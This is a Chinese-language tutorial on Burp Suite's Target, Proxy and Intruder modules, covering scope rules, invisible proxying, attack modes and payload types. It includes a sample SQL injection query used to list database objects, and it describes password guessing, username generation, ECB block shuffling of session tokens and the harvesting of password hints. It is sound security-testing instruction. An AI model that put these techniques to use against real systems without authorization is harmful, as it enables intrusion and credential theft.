由于站点比较是在两个站点地图之间进行的,所以我们在配置过程中需要分别指定 Site Map 1 和 Site Map2.
Site Map 1 我们默认为当前会话.
这时我们会进入 Site Map 1 设置页面,如果是全站点比较我们选择第一项,如果仅仅比较我们选中的功能,则选择第二项.如果全站点比较,且不想加载其他域时,我们可以勾选只选择当前域.
接下来就是 Site Map 2 的配置,对于 Site Map 2 我们有三种方式,第一种是从 Burp project 中读取,第二种是之前我们已经保存下来的 Burp Suite 站点记录,第三种是重新发生一次请求作为 Site Map2.这里,我们选择第三种方式.
如果上一步选择了第三种方式,则进入请求消息设置界面.在这个界面,我们需要指定通信的并发线程数、失败重试次数、暂停的间隙时间.
设置完 Site Map 1 和 Site Map 2 之后,将进入请求消息匹配设置.在这个界面,我们可以通过 URL 文件路径、Http 请求方式、请求参数、请求头、请求 Body 来对匹配条件进行过滤.
设置请求匹配条件,接着进入应答比较设置界面.在这个界面上,我们可以设置哪些内容我们指定需要进行比较的.从下图我们可以看出,主要有响应头、form 表单域、空格、MIME类型.点击 [Next].
如果我们之前是针对全站进行比较,且是选择重新发生一次作为 Site Map2 的方式,则界面加载过程中会不停提示你数据加载的进度,如果涉及功能请求的链接较少,则很快进入比较界面.
**右键--Engagement tools**
- Analyze target
在弹出的分析界面中,我们能看到概况、动态 URL、静态 URL、参数4个视图.
概况视图主要展示当前站点动态 URL 数量、静态 URL 数量、参数的总数、唯一的参数名数目,通过这些信息,我们对当前站点的总体状况有粗线条的了解.
动态 URL 视图展示所有动态的 URL 请求和应答消息,跟其他的工具类似,当你选中某一条消息时,下方会显示此消息的详细信息.
静态 URL 视图与动态 URL 视图类似
参数视图有上中下三部分组成,上部为参数和参数计数统计区,你可以通过参数使用的次数进行排序,对使用频繁的参数进行分析;中部为参数对于的使用情况列表,记录对于的参数每一次的使用记录;下部为某一次使用过程中,请求消息和应答消息的详细信息.
在使用攻击面分析功能时,需要注意,此功能主要是针对站点地图中的请求 URL 进行分析,如果某些 URL 没有记录,则不会被分析到.同时,在实际使用中,存在很多站点使用伪静态,如果请求的 URL 中不带有参数,则分析时无法区别,只能当做静态 URL 来分析.
### Scope
Target Scope 中作用域的定义比较宽泛,通常来说,当我们对某个产品进行渗透测试时,可以通过域名或者主机名去限制拦截内容,这里域名或主机名就是我们说的作用域;如果我们想限制得更为细粒度化,比如,你只想拦截 login 目录下的所有请求,这时我们也可以在此设置,此时,作用域就是目录.总体来说,Target Scope 主要使用于下面几种场景中:
- 限制站点地图和 Proxy 历史中的显示结果
- 告诉 Burp Proxy 拦截哪些请求
- Burp Spider 抓取哪些内容
- Burp Scanner 自动扫描哪些作用域的安全漏洞
- 在 Burp Intruder 和 Burp Repeater 中指定 URL
通过 Target Scope 我们能方便地控制 Burp 的拦截范围、操作对象,减少无效的噪音.在 Target Scope 的设置中,主要包含两部分功能:允许规则和去除规则.
其中允许规则顾名思义,即包含在此规则列表中的,视为操作允许、有效.如果此规则用于拦截,则请求消息匹配包含规则列表中的将会被拦截;反之,请求消息匹配去除列表中的将不会被拦截.
规则主要由协议、域名或 IP 地址、端口、文件名4个部分组成,这就意味着我们可以从协议、域名或 IP 地址、端口、文件名4个维度去控制哪些消息出现在允许或去除在规则列表中.
当我们设置了 Target Scope (默认全部为允许) ,使用 Burp Proxy 进行代理拦截,在渗透测试中通过浏览器代理浏览应用时,Burp 会自动将浏览信息记录下来,包含每一个请求和应答的详细信息,保存在 Target 站点地图中.
---
## Proxy
### intercept
**右键--Don't intercept requests**
这里指定满足规则的包,需要忽略
**右键--Do intercept**
拦截回包
**快捷键**
解码:ctrl+shift+u
### Options
**Proxy listeners**
代理侦听器是本地 HTTP 代理服务器,用于侦听来自浏览器的传入连接.它使你能够监视和拦截所有请求和响应,并且是 Burp 用户驱动的工作流程的核心.默认情况下,Burp 在环回接口的端口 8080 上创建一个侦听器.要使用此侦听器,你需要将浏览器配置为使用 127.0.0.1:8080 作为其代理服务器.测试几乎所有基于浏览器的 Web 应用程序都需要此默认侦听器.
Burp 允许你创建多个代理侦听器,并提供了大量配置选项来控制其行为.在测试异常应用程序或与某些非基于浏览器的 HTTP 客户端一起使用时,有时可能需要使用这些选项.
特别是当我们测试非浏览器应用时,无法使用浏览器代理的方式去拦截客户端与服务器端通信的数据流量,这种情况下,我们会使用自己的 Proxy 监听设置,而不会使用默认设置.
- Binding
绑定的端口 port 是指 Burp Proxy 代理服务监听的端口,绑定 IP 地址分仅本地回路、所有接口、指定地址三种模式,在渗透测试中,无论你选择哪种模式,你需要明白一点,当你选择的非本地回路 IP 地址时,同局域网内的其他电脑也可以访问你的监听地址.
- Request Handling
请求处理主要是用来控制接受到 Burp Proxy 监听端口的请求后,如果对请求进行处理的.
具体配置可分为:端口的转发、主机名/域名的转发、强制使用 SSL 和隐形代理4个部分.
当我们配置了端口的转发时,所有的请求都会被转发到这个端口上;如果我们配置了主机或域名的转发,则所有的请求会转发到指定的主机或域名上.同时,我们可以指定,通过 Burp Proxy 的消息是否强制使用 SSL,如果设置了此项,则请求若是 http 协议,经 Burp proxy 代理后将转换为 https 协议.隐形代理主要是用于测试富客户端应用或者是非浏览器代理方式的应用,当我们设置了它,访问这些应用时,将通过非代理的方式,直接连接 Burp Proxy 的监听端口.
注意,每个重定向选项都可以单独使用.因此,例如,你可以将所有请求重定向到特定主机,同时保留每个原始请求中使用的原始端口和协议.
*隐形代理*
有时候,在拦截富客户端软件时,我们通常需要使用隐形代理.富客户端软件通常是指运行在浏览器之外的客户端软件,这就意味着它本身不具有 HTTP 代理属性.当它进行网络通信时,客户端将无法使代理感知或者无法由代理进行通信.在 Burp 中,我们可以使用隐形代理的方式,对通信内容进行代理或拦截,从而对通信的请求和响应消息进行分析.使用隐形代理通常需要做如下设置(以 https://example.com 为例): 1.配置 hosts 文件,Windows 操作系统下的目录位置 Windows/System32/drivers/etc/hosts ,而 Linux 或者 Unix 下的目录为 /etc/hosts ,添加如下行:
```
127.0.0.1 example.com
```
设置完成之后,我们需要添加一个新的监听来运行在 HTTP 默认的 80 端口,如果通信流量使用 HTTPS 协议,则端口为 443.
如果是 HTTPS 协议的通信方式,我们需要一个指定域名的 CA 证书.
接着,我们需要把 Burp 拦截的流量转发给原始请求的服务器.这需要在 Project Options->Connections->Hostname Resolution 进行设置.因为我们已经告诉了操作系统, example.com 的监听地址在 127.0.0.1 上,所以我们必须告诉 Burp,将 example.com 的流量转发到真实的服务器那里去.
通过这样的配置,我们就可以欺骗富客户端软件,将流量发送到 Burp 监听的端口上,再由 Burp 将流量转发给真实的服务器.
- Certigicate
这些设置可以解决使用拦截代理时出现的一些 SSL 问题:
1. 可以消除浏览器的 SSL 警报,并需要建立 SSL 例外.其中,网页加载来自其他域的 SSL 保护的项目,可以确保这些正确的加载到浏览器,而不需要为每个域手动接受代理的 SSL 证书.
2. 可以与该拒绝无效的 SSL 证书连接到服务器胖客户机应用程序的工作.
它有下列选项可供设置:
- 使用自签名证书(Use a self-signed certificate ) —— 一个简单的自签名 SSL 证书呈现给你的浏览器,它总是会导致 SSL 警告.
- 生成每个主机的 CA 签名证书(Generate CA-signed per-host certificates)—— 这是默认选项.在安装时,Burp 创造了一个独特的自签名的证书颁发机构(CA)证书,并将此计算机上使用.当你的浏览器发出的 SSL 连接指定主机,Burp 生成该主机的 SSL 证书,由 CA 证书签名.你可以安装 Burp 的 CA 证书作为浏览器中的受信任的根,从而使每个主机证书没有任何警报接受.
- 生成与特定的主机名 CA 签发的证书(Generate a CA-signed certificate with a specific hostname)—— -是类似于前面的选项;不同的是,Burp 会生成一个主机证书与每一个 SSL 连接使用,使用指定的主机名.
- 使用自定义证书(Use a custom certificate)—— 此选项可以加载一个特定的证书(在 PKCS#12 格式)呈现给浏览器.如果应用程序使用这需要一个特定的服务器证书(例如,与给定的序列号或证书链)的客户端应该使用这个选项.
**SSL Pass Through**
SSL 直连的设置主要用于指定的目的服务器直接通过 SSL 连接,而通过这些连接的请求或响应任何细节将在 Burp 代理拦截视图或历史日志中可见.通过 SSL 连接传递并不是简单地消除在客户机上 SSL 错误的情况.比如说,在执行 SSL 证书的应用.如果应用程序访问多个域,或使用 HTTP 和 HTTPS 连接的混合,然后通过 SSL 连接到特定的主机仍然能够以正常的方式使用 Burp 的其他方式进行通信.如果启用自动添加客户端 SSL 协商失败的选项,当客户端检测失败的 SSL 协议(例如,由于不承认 Burp 的 CA 证书),会自动将相关的服务器添加到 SSL 直通通过列表中去.其设置界面如下图所示:
**Miscellaneous**
这些设置控制 Burp Proxy 行为的一些特定细节. 提供以下选项:
- **Use HTTP/1.0 in requests to server** - 此选项控制 Burp 代理是否在对目标服务器的请求中强制实施 HTTP 版本1.0. 默认设置是使用浏览器使用的 HTTP 版本. 但是,某些旧版服务器或应用程序可能需要版本1.0才能正常运行.
- **Use HTTP/1.0 in responses to client** - 当前所有的浏览器都支持 HTTP 的1.0版和1.1版. 由于1.0版的功能集减少了,因此强制使用版本1.0有时对于控制浏览器行为的各个方面非常有用,例如防止尝试执行 HTTP pipelining.
- **Set response header "Connection: close"** - 在某些情况下,此选项对于防止 HTTP pipelining 也可能很有用.
- **Set "Connection: close" on incoming requests** - 在某些情况下,此选项对于防止 HTTP pipelining 也可能很有用.
- **Strip Proxy-* headers in incoming requests** - 浏览器有时会发送请求头,其中包含要用于正在使用的代理服务器的信息.有些恶意网站可能试图诱使浏览器在这些标头中包含敏感数据而对访客造成一定的攻击.默认情况下, Burp 代理会从传入的请求中删除这些标头,以防止任何信息泄漏.取消选中此选项 Burp 就不修改这些请求头.
- **Remove unsupported encodings from Accept-Encoding headers in incoming requests** - 浏览器通常会提供接受各种编码的响应,例如 压缩内容.在 Burp 中处理响应时,某些编码会引起问题.默认情况下,Burp 会删除不支持的编码,以减少使用它们的机会. 如果服务器要求支持不支持的编码,则可能需要取消选中此选项.
- **Strip Sec-WebSocket-Extensions headers in incoming requests** - 浏览器可能会提供支持与 WebSocket 连接有关的各种扩展的信息,例如 压缩内容.在 Burp 中处理响应时,某些编码会引起问题.默认情况下,Burp 删除此标头以减少使用扩展名的机会.如果服务器要求特定的扩展名,则可能需要取消选中此选项.
- **Unpack GZIP / deflate in requests** - 某些应用程序(通常使用自定义客户端组件的应用程序)会压缩请求中的消息正文.此选项控制 Burp 代理是否自动解包压缩的请求主体.如果某些应用程序预期会有压缩体,并且压缩已被 Burp 移除,则它们可能会中断.
- **Unpack GZIP / deflate in responses** - 大多数浏览器在响应中接受 GZIP 和压缩压缩的内容.此选项控制 Burp 代理是否自动解压缩压缩的响应主体.注意,通常可以通过从请求中删除 Accept-Encoding 标头(可能使用Burp Proxy的匹配和替换功能)来防止服务器尝试压缩响应.
- **Disable web interface at http://BurpSuite** - 如果你被迫将侦听器配置为接受不受保护的接口上的连接,并希望防止其他人访问Burp的浏览器内接口,则此选项可能很有用.
- **Suppress Burp error messages in browser** - 当发生某些错误时,默认情况下 Burp 会向浏览器返回有意义的错误消息. 如果你希望以隐身模式运行 Burp,以对受害用户进行中间人攻击,那么抑制这些错误消息以掩盖 Burp 的事实可能很有用.
- **Don't send items to Proxy history or live tasks** - 此选项可防止 Burp 将任何请求记录到代理历史记录或将其发送到实时任务,例如被动爬网或实时审核. 如果你将 Burp Proxy 用于某些特定目的(例如,对上游服务器进行身份验证或执行匹配和替换操作),并且希望避免引起日志记录所需的内存和存储开销,则这可能会很有用.
- **Don't send items to Proxy history or live tasks, if out of scope** - 此选项可防止 Burp 将任何范围外的请求记录到 Proxy 历史记录中或将其发送到实时任务,例如 被动抓取 或 实时审计. 避免积累范围外项目的项目数据很有用.
---
## Intruder
`爆破模块`
它的工作原理是:Intruder 在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答.每一次请求中,Intruder 通常会携带一个或多个有效攻击载荷 (Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据.
### Target
目标设定
### Positions
确定要爆破的参数,爆破类型
- 狙击手模式 (Sniper) ——它使用一组 Payload 集合,依次替换 Payload 位置上 (一次攻击只能使用一个 Payload 位置) 被 `§` 标志的文本 (而没有被 § 标志的文本将不受影响) ,对服务器端进行请求,通常用于测试请求参数是否存在漏洞.
- 攻城锤模式 (Battering ram) ——它使用单一的 Payload 集合,依次替换 Payload 位置上被 § 标志的文本 (而没有被 `§` 标志的文本将不受影响) ,对服务器端进行请求,与狙击手模式的区别在于,如果有多个参数且都为 Payload 位置标志时,使用的 Payload 值是相同的,而狙击手模式只能使用一个 Payload 位置标志.
- 草叉模式 (Pitchfork ) ——它可以使用多组 Payload 集合,在每一个不同的 Payload 标志位置上 (最多20个) ,遍历所有的 Payload.举例来说,如果有两个 Payload 标志位置,第一个 Payload 值为 A 和 B,第二个 Payload 值为 C 和 D,则发起攻击时,将共发起两次攻击,第一次使用的 Payload 分别为 A 和 C,第二次使用的 Payload 分别为 B 和 D.
- 集束炸弹模式 (Cluster bomb) 它可以使用多组 Payload 集合,在每一个不同的 Payload 标志位置上 (最多 20 个) ,依次遍历所有的 Payload.它与草叉模式的主要区别在于,执行的 Payload 数据 Payload 组的乘积.举例来说,如果有两个 Payload 标志位置,第一个 Payload 值为 A 和 B,第二个 Payload 值为 C 和 D,则发起攻击时,将共发起四次攻击,第一次使用的 Payload 分别为 A 和 C,第二次使用的 Payload 分别为 A 和 D,第三次使用的 Payload 分别为 B 和 C,第四次使用的 Payload 分别为 B 和 D.
### Payloads
**Payload Sets 配置 payload 规则**
- Simple list : 这是最简单的 Payload 类型,可以让你配置一个简单的字符串列表作为 Payload。你可以使用文本框和 "添加 "按钮手动添加项目到列表中,也可以从剪贴板中粘贴列表,或者从文件中加载。
- Runtime file : 这个有 Payload 类型可以让你配置一个文件,在运行时从该文件中读取 Payload 字符串。这在需要一个非常大的 Payload 列表时非常有用,可以避免在内存中保留整个列表。每行文件只读一个 Payload,因此 Payload 可能不包含换行字符。
- Custom iterator : 这种 Payload 类型可以让你配置多个项目列表,并使用列表中的所有项目的组合生成 Payload 。它提供了一种强大的方法,可以根据给定的模板生成字符或其他项目的自定义组合。例如,一个工资单应用程序可能会使用 AB/12 形式的人员编号来识别个人;你可能需要迭代所有可能的人员编号来获取所有个人的详细信息。自定义的迭代器最多定义了8个不同的 "位置",用于生成permutations。每个位置都配置了一个项目列表和一个可选的 "分隔符 "字符串,在该位置和下一个位置之间插入。在前面提到的例子中,位置 1 和 2 被配置为 A-Z,位置 3 和 4 被配置为 0-9,位置2被设置为分隔符/。因此,在这个例子中,总的 Payload 数等于 `26*26*10*10`。列表项的编辑方法与简单列表 Payload 类型的编辑方法相同。"Clear all "按钮可以删除自定义迭代器的所有位置的所有配置。"Choose a preset scheme"下拉菜单可用于选择自定义迭代器的预配置设置。这些方案可用于各种标准攻击,也可修改为自定义攻击。可用的方案有 "目录/文件.扩展名",可用于生成URL,以及 "密码+数字",可用于生成一个扩展的词表,用于密码猜测攻击。
- Character substitution : 这种 Payload 类型可以让你配置一个字符串列表,并对每个项目进行不同的字符替换。它可能在密码猜测攻击中很有用,用于生成常见的字典词的变体。在用户界面中,你可以配置一些字符替换。当攻击被执行时, Payload 类型会依次对每个配置的列表项进行处理。对于每一个项目,它都会生成一些 Payload ,包括根据定义的替换字符的所有变体。例如,在默认的替换规则下(包括e > 3和t > 7),"peter "项将产生以下 Payload 。
```
peter
p3ter
pe7er
p37er
pet3r
p3t3r
pe73r
p373r
```
- Case modification : 这种 Payload 类型可以让你配置一个字符串列表,并对每个项目进行不同的大小写修改。这在密码猜测攻击中可能很有用,用于生成字典单词的大小写变化。可以选择以下的大小写修改规则。
- No change : 该项目在使用时没有被修改。
- To lower case : 将项目中的所有字母转换为小写。
- To upper case : 项目中的所有字母都会被转换为大写。
- To Propername : 项目中的第一个字母转换成大写,后面的字母转换成小写。
- To ProperName : 项目中的第一个字母转换成大写,后面的字母不变。
- Recursive grep : 这种 Payload 类型可以让你从攻击中的前一个请求的响应中提取每个 Payload 。在一些需要递归地提取有用数据或传递漏洞的情况下,它很有用。该 Payload 类型与 extract grep 函数一起工作,用于提取包含有趣信息的响应中的一部分。从攻击中的前一个响应中提取的文本被用作当前请求的 Payload 。这可以用来执行各种任务。例如,通过递归注入 SQL 注入形式的查询,可以通过 SQL 注入来提取数据库的内容。
```
union select name from sysobjects where name > 'a'
```
服务器的错误信息披露了第一个数据库对象的名称。
```
Syntax error converting the varchar value 'accounts' to a column of data type int.
```
然后使用 "account "重复查询,以确定下一个对象。这个任务可以使用递归的 grep Payload 来快速列出数据库的所有对象。必须选择以下选项:
- Extract grep item from which to derive payloads : 提取 grep 项,用于提取 Payload
- Initial payload for first request : 初始请求中要使用的 Payload (当没有之前的响应时,将用于生 Payload )。
- Stop if duplicate payload found : 当连续两次派生相同的 Payload 时,该选项会导致攻击停止。
- Illegal Unicode : 这种 payload 类型可以用来生成非法的 Unicode 字符表示。它有时可以有效地绕过旨在阻止某些字符的过滤器,例如对文件路径遍历攻击的防御措施,这些文件路径遍历攻击符合预期的 `./` 和 `.//` 序列的编码。 payload 类型是在一个项目列表上运行,通过用另一个字符的非法 Unicode-encodings 替换每个项目中的指定字符,从每个项目中生成一些 payload 。
- Character blocks : 这种 payload 类型基于指定字符或字符串的块生成 payload 。在检测缓冲区溢出和其他边界条件漏洞时,它可以在本机(非托管)环境下运行的软件中发挥作用。它还可用于利用一些逻辑缺陷,即特定长度的输入绕过输入过滤器或触发意外的代码路径。以下是可用的选项。
- Base string - 这是生成字符块的输入字符串。
- Min length - 这是要生成的最小字符块的大小。
- Max length - 这是可生成的最大字符块的大小。
- Step - 这是每个字符块长度的增量。
- Numbers : 该 payload 类型在给定范围内以指定格式生成数字 payload 。可提供以下选项
- Number range
- Type - 这个选项指定数字是否应该以定义的顺序生成,还是随机生成。
- From - 如果数字是按顺序生成的,这是将生成的第一个数字的值,否则,它是可能随机生成的最小数字。否则,它是可能被随机生成的最小的数字。
- To - 如果数字是按顺序生成的,这是将生成的最后一个数字的值(或最接近的阶梯值的较低增量)。否则,它是可能随机生成的最高数字。
- Step - 这个选项在按顺序生成数字时可用,并指定连续数字之间的增量。该值可能是负数,在这种情况下,生成的数字将向下递增。
- How many - 这个选项在随机生成数字时可用,并指定将生成的 payload 的数量。请注意,可能会生成重复的 payload 。
> 注意:Burp 对数字范围配置和运行时 payload 生成器的内部状态都使用双精度浮点数。在处理非常大的数字或非常精确的小数时,一些精度损失是可以预期的。如果你需要循环浏览一个包含许多总数字(超过大约12位)的数字范围,那么使用你的 payload 定位标记来突出攻击模板内较大数字的一个子部分,并生成包含相应较少数字的数字 payload 是比较可靠的。
- Number format
- Base - 这个选项指定数字是以十进制还是十六进制形式生成。
- Min integer digits - 这是每个数字的最小整数位数。整数位数较少的数字将在左手边用0填充。
- Max integer digits - 这是每个数字的最大整数位数。有更多整数位数的数字将被截断,失去最重要的整数位数。
- Min fraction digits - 这是每个数字的最小分数位数(小数点后)。小数位数较少的数字将在右手边用0填充。这个选项在生成十六进制数字时不可用。
- Max fraction digits - 这是每个数字的最大分数位数(小数点后)。有更多分数位数的数字将被截断,失去其最不重要的分数位数。这个选项在生成十六进制数字时不可用。
> 每一个数字选项都可以留空,表示不应强制执行最小或最大尺寸。还显示了当前数字格式配置所产生的数字的例子。
- Dates : 这种 payload 类型在给定范围内以指定格式生成日期 payload 。这种 payload 类型在数据挖掘(例如,搜索订单簿中不同日期的条目)或粗暴强迫(例如,猜测用户凭证的出生日期部分)时可能很有用。以下是可用的选项:
- From - 这是要生成的第一个(也是最早的)日期。
- To - 这是将要生成的最后(也是最晚)日期的值(或最接近步长值的较低增量)。
- Step - 这是连续日期之间的增量,以天、周、月或年为单位。它必须是一个正值。
- Format - 这是日期的表示格式。可以选择一些预定义的日期格式,或者在文本字段中输入一个自定义的日期格式。下面的例子说明了可以用来指定自定义日期格式的语法。
```
E Sat
EEEE Saturday
d 7
dd 07
M 6
MM 06
MMM Jun
MMMM June
yy 03
yyyy 2003
/ . : etc. / . :
```
- Brute forcer : 该 payload 类型生成指定长度的 payload ,其中包含指定字符集的所有排列组合。以下是可用的选项:
- Character set - payload 中要使用的字符集。请注意, payload 的总数随着这组字符的大小而成倍增加。
- Min length - 最短 payload 的长度。
- Max length - 最长 payload 的长度。
- Null payloads : 这种 payload 类型产生的 payload 的值是一个空字符串。
当攻击要求重复发出相同的请求,而不对基本模板进行任何修改时,这种 payload 类型是有用的。这可以用于各种攻击,例如,采集cookie用于排序分析,应用层拒绝服务攻击,其中重复发送请求,在服务器上启动高工作量的任务,或者保持在其他间歇性测试中使用的会话令牌的活力。
使用这种有效负载类型,甚至不需要在请求模板中使用有效负载位置标记。
你可以配置 Burp 生成指定数量的空有效负载,或者无限期地继续。
- Character frobber : 这种 payload 类型对字符串输入进行操作,并依次修改每个字符位置的值。它可以在每个 payload 位置的现有基础值或指定的字符串上操作。它每次只对基础字符串循环一个字符,将该字符的 ASCII 码递增一个。
当测试哪些参数值或部分值对应用程序的响应有影响时,这种 payload 类型非常有用。特别是在测试复杂的会话令牌的哪些部分实际上被用于跟踪会话状态时,它可以很有用。如果修改会话令牌中单个字符的值,仍然会导致你的请求在你的会话中被处理,那么很可能令牌中的这个字符实际上并没有被用来跟踪你的会话。
- Bit flipper : 这种 payload 类型对输入进行操作,并依次修改每个比特位置的值。它可以在每个 payload 位置的现有基础值上操作,也可以在指定的字符串上操作。它一次一个字符循环浏览基础字符串,依次翻转每个(指定)位。
- Operate on - 这个选项让你指定是在 payload 位置的基值上操作,还是在其他字符串上操作。
- Format of original data - 这个选项让你指定生成器是对原始数据的字面值进行操作,还是将其视为 ASCII 十六进制数据(下文将进一步解释)。
- Select bits to flip - 这个选项让你指定每个字节中的哪些位应该被翻转,从最不重要的位(即0000000X)到最重要的位(即X0000000)。
你可以配置比特翻转器,使其对基础值进行操作,或者将基础值视为 ASCII 十六进制字符串。例如,如果基础值是 "ab",那么对字面字符串进行操作并翻转所有位,将产生以下 payload 。
```
`b
cb
eb
ib
qb
Ab
!b
áb
ac
a`
af
aj
ar
aB
a"
aâ
```
而将 "ab "作为一个 ASCII 十六进制字符串,并翻转所有位,将导致以下 payload 。
```
aa
a9
af
a3
bb
8b
eb
2b
```
这种 payload 类型在类似于字符冻结器的情况下很有用,但在这种情况下,你需要更精细的控制。例如,如果会话令牌或其他参数值包含用 CBC 模式下的块密码加密的有意义的数据,那么可能会通过修改前一个密码块中的位来系统地改变解密数据的部分。在这种情况下,你可以使用比特翻转器 payload 类型来确定修改加密值内各个比特的效果,并了解应用程序是否可能存在漏洞。
- Username generator : 这个 payload 类型让你配置一个名字或电子邮件地址的列表,并使用各种常见的方案从这些列表中获取潜在的用户名。
例如,提供 "peter weiner"这个名字,就会得到多达 115 个可能的用户名,如下所示:
```
peterweiner
peter.weiner
weinerpeter
weiner.peter
peter
weiner
peterw
peter.w
wpeter
w.peter
pweiner
p.weiner
weinerp
weiner.p
etc...
```
如果你的目标是特定的人类用户,而你又不知道应用程序中使用的用户名或电子邮件地址方案,那么这种 payload 类型就会很有用。
列表项的编辑方式与简单列表 payload 类型相同。你还可以配置列表中每个项目生成的最大 payload 数量。
- ECB block shuffler : 这种 payload 类型可以用来清洗 ECB 加密数据中的密文块,以便有意义地修改解密后的明文,并有可能干扰应用逻辑。
由于 ECB 密码器将每个明文块独立于其他明文块加密,相同的明文块加密成相同的密文块(只要使用相同的密钥),反之亦然。因此,可以在一大段密文中对块进行清洗,其效果是对解密后的明文的相应块进行清洗。在某些数据中(如结构化的会话令牌,其中有用户名、用户ID、角色和时间戳等字段),可能会有意义地改变解密数据的内容,从而干扰应用程序的处理,并进行未经授权的操作。以下是可用的选项:
- Encrypted data to shuffle -这个选项让你指定是在 payload 位置的基值上操作,还是在另一个字符串上操作。
- Format of original data - 这个选项让你指定生成器是否应该对原始数据的字面值进行操作,还是应该将其作为ASCII十六进制处理。
- Block size - 这是加密块的字节大小。在大多数情况下,块的大小是8或16字节。如果你不确定,你应该使用可能使用的每个块大小多次运行攻击。
- Additional encrypted strings - 这个列表让你可以选择提供一个使用相同密码和密钥的加密字符串列表,以提供额外的区块来清洗到加密数据中。因为这种类型的成功攻击通常需要相当程度的运气,即找到一个具有合适明文值的块,可以清洗到结构中的正确点,因此,通过获得大量的由相同应用函数加密的字符串样本,成功的几率通常会提高。例如,如果你使用这种 payload 类型来攻击一个会话令牌,那么从应用程序中收获大量的其他会话令牌,以提供额外的密文块是有益的。
- Extension-generated : 该 payload 类型调用 Burp 扩展来生成 payload 。该扩展必须已经注册了 Intruder payload 生成器。你可以从当前加载的扩展注册的可用生成器列表中选择所需的生成器。
- Copy other payload : 这种 payload 类型在另一个 payload 位置复制当前 payload 的值。它可用于具有多个 payload 集的攻击类型(集束炸弹和撞锤)。你也可以定义 payload 处理规则,这样你就可以从另一个位置的 payload 值系统地推导出当前的 payload ,而不是仅仅复制其字面值。这种 payload 类型在各种情况下都会有用,例如:
- 两个不同的参数必须始终具有相同的值,才能命中目标代码路径(例如,新密码和确认密码的字段),你想使用集束炸弹攻击类型来同时操纵其他参数。
- 请求中的一个参数值包含了另一个参数值的校验值,这个校验值通常是由客户端脚本根据用户输入计算出来的。
**Payload Processing**
配置加密规则,优先级由上往下,自动给字典编码
你可以定义规则,以便在使用每个 payload 之前对其执行各种处理任务。所定义的规则将按顺序执行,并可打开和关闭,以帮助调试配置中的任何问题。 payload 处理规则在许多情况下都很有用,在这些情况下,你需要生成不寻常的 payload ,或需要在使用前将 payload 包裹在更广泛的结构或编码方案中。
有以下类型的规则:
- Add prefix - 在 payload 前添加一个字面前缀。
- Add suffix - 在 payload 后添加文字后缀。
- Match / replace - 这将用一个字面字符串替换 payload 中与特定正则表达式匹配的任何部分。
- Substring - 从指定的偏移量(0-indexed)开始,提取 payload 的子部分,直到指定的长度。
- Reverse substring - 这个功能和子串规则一样,但是指定的结束偏移量是从 payload 的末端开始向后计算,而长度则是从结束偏移量开始向后计算。
- Modify case - 如果适用的话,它将修改 payload 的大小写。与修改大小写 payload 类型的选项相同。
- Encode - 该选项使用各种方案对 payload 进行编码。URL、HTML、Base64、ASCII 十六进制或各种平台的构造字符串。
- Decode - 使用不同的方案对 payload 进行解码:URL、HTML、Base64 或 ASCII 十六进制或各种平台的构造字符串。URL、HTML、Base64 或 ASCII 十六进制。
- Hash - 对 payload 进行 Hash 操作。
- Add raw payload - 在当前处理值之前或之后添加原始 payload 值。例如,如果你需要以原始和散列形式提交相同的 payload ,它可能会很有用。
- Skip if matches regex - 这将检查当前处理后的值是否与指定的正则表达式相匹配,如果是,则跳过该 payload 并转到下一个。例如,如果你知道一个参数值必须有一个最小的长度,并且想跳过列表中任何短于这个长度的值,那么这个功能就很有用。
- Invoke Burp extension - 这将调用 Burp 扩展来处理 payload 。该扩展必须已经注册了一个 Intruder payload 处理器。你可以从当前加载的扩展注册的可用处理器列表中选择所需的处理器。
**Payload Encoding**
配置字典进行 URL 编码
### Options
**请求消息头设置 (Request Headers)**
这个设置主要用来控制请求消息的头部信息,它由 Update Content-Length header和Set Connection: close 两个选项组成.
其中 Update Content-Length header 如果被选中,Burp Intruder 在每个请求添加或更新 Content-Length 头为该次请求的 HTTP 体的长度正确的值.这个功能通常是为插入可变长度的 Payload 到模板的 HTTP 请求的主体的攻击中,如果没有指定正确的值,则目标服务器可能会返回一个错误,可能会到一个不完整的请求做出响应,或者可能会无限期地等待请求继续接收数据.
Set Connection: close 如果被选中,表示 Burp Intruder 在每个请求消息中添加或更新值为"关闭"的连接头,这将更迅速地执行.在某些情况下 (当服务器本身并不返回一个有效的 Content-Length 或 Transfer-Encoding 头) ,选中此选项可能允许攻击.
**请求引擎设置 (Request Engine)**
这个设置主要用来控制 Burp Intruder 攻击,合理地使用这些参数能更加有效地完成攻击过程.它有如下参数:Number of threads 并发的线程数,Number of retries on network failure 网络失败时候重试次数,Pause before retry 重试前的暂停时间间隔 (毫秒) ,Throttle between requests 请求延时 (毫秒) ,Start time 开始时间,启动攻击之后多久才开始执行.
**攻击结果设置 (Attack Results)**
这个设置主要用来控制从攻击结果中抓取哪些信息.它的参数有 : Store requests / responses 保存请求/应答消息,Make unmodified baseline request 记录请求母板的消息内容,Use denial-of-service mode 使用 Dos 方式,tore full payloads 存储所有的 Payload 值.
**Grep Match**
这个设置主要用来从响应消息中提取结果项,如果匹配,则在攻击结果中添加的新列中标明,便于排序和数据提取.比如说,在密码猜测攻击,扫描诸如"密码不正确"或"登录成功",可以找到成功的登录;在测试 SQL 注入漏洞,扫描包含"ODBC","错误"等消息可以识别脆弱的参数.
Match type 表示匹配表达式还是简单的字符串,Case sensitive match 是否大小写敏感,Exclude HTTP headers 匹配的时候,是否包含 http 消息头.
**Grep Extract**
这些设置可用于提取响应消息中的有用信息.对于列表中配置的每个项目,Burp 会增加包含提取该项目的文本的新结果列.然后,你可以排序此列 (通过单击列标题) 命令所提取的数据.此选项是从应用数据挖掘有用的,能够支持广泛的攻击.例如,如果你是通过一系列文档 ID 的循环,可以提取每个文档寻找有趣的项目的页面标题.如果你发现返回的其他应用程序用户详细信息的功能,可以通过用户 ID 重复和检索有关用户寻找管理帐户,甚至密码.如果"遗忘密码"的功能需要一个用户名作为参数,并返回一个用户配置的密码提示,你可以通过共同的用户名列表运行和收获的所有相关密码的提示,然后直观地浏览列表寻找容易被猜到密码.
**Grep Payloads**
这些设置可用于提取响应消息中是否包含 Payload 的值,比如说,你想验证反射性的 XSS 脚本是否成功,可以通过此设置此项.当此项设置后,会在响应的结果列表中,根据 Payload 组的数目,添加新的列,显示匹配的结果,你可以通过点击列标题对结果集进行排序和查找.
